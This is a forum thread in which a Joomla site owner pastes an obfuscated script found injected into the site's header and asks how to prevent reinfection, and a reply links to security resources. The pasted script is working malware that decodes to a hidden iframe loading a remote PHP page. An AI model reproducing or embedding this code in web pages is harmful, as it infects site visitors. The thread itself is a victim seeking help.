    My site was hacked

    Posted 16 years 6 months ago
    • Someone on the joomla support forum said that this script i found in my header was malicious. i had a complaint from a user that the site had a virus. and i did find this script in the <head>:

      <script type="text/javascript">
      function BFD6F5DD5DB451E605DC93C1C(F856A149343E267113D4743C9CC){var BABAC8D053646DAAEED97=16;return(parseInt(F856A149343E267113D4743C9CC,BABAC8D053646DAAEED97));}function EDC04E5FA7431499C99(AF1EAFAE6DA9EFFC64209858078EBFBC){function FDB6EFBD03C6DE29(){var A22AFFBCBE863863A1B64DF=2;return A22AFFBCBE863863A1B64DF;}var A01766E6154626B4="";for(E846AAB0F24560E5FDD=0;E846AAB0F24560E5FDD<AF1EAFAE6DA9EFFC64209858078EBFBC.length;E846AAB0F24560E5FDD+=FDB6EFBD03C6DE29()){A01766E6154626B4+=(String.fromCharCode(BFD6F5DD5DB451E605DC93C1C(AF1EAFAE6DA9EFFC64209858078EBFBC.substr(E846AAB0F24560E5FDD,FDB6EFBD03C6DE29()))));}document.write(A01766E6154626B4);}EDC04E5FA7431499C99("3C696672616D65207372633D22687474703A2F2F7878786D6F766965732E6469702E6A702F31352F6A735F676F5F66312E706870222077696474683D31206865696768743D31207374796C653D227669736962696C6974793A68696464656E3B706F736974696F6E3A6162736F6C757465223E3C2F696672616D653E");
      </script>

      I know how to delete it from the index.php file in the template folder. but how can i prevent from happening again?

      thanks!

    • I'm going to throw a couple links at you that may help you out in the future. I'm not a security expert so I rely heavily on this information.

      Joomla Security Checklist

      Joomla Security Forum

      You can even be kept up-to-date with know vulnerabilities as Joomla finds them through feeds on this page:
      Joomla Security News

      I know it's a lot to throw out there, but following those steps in the checklist should help greatly.
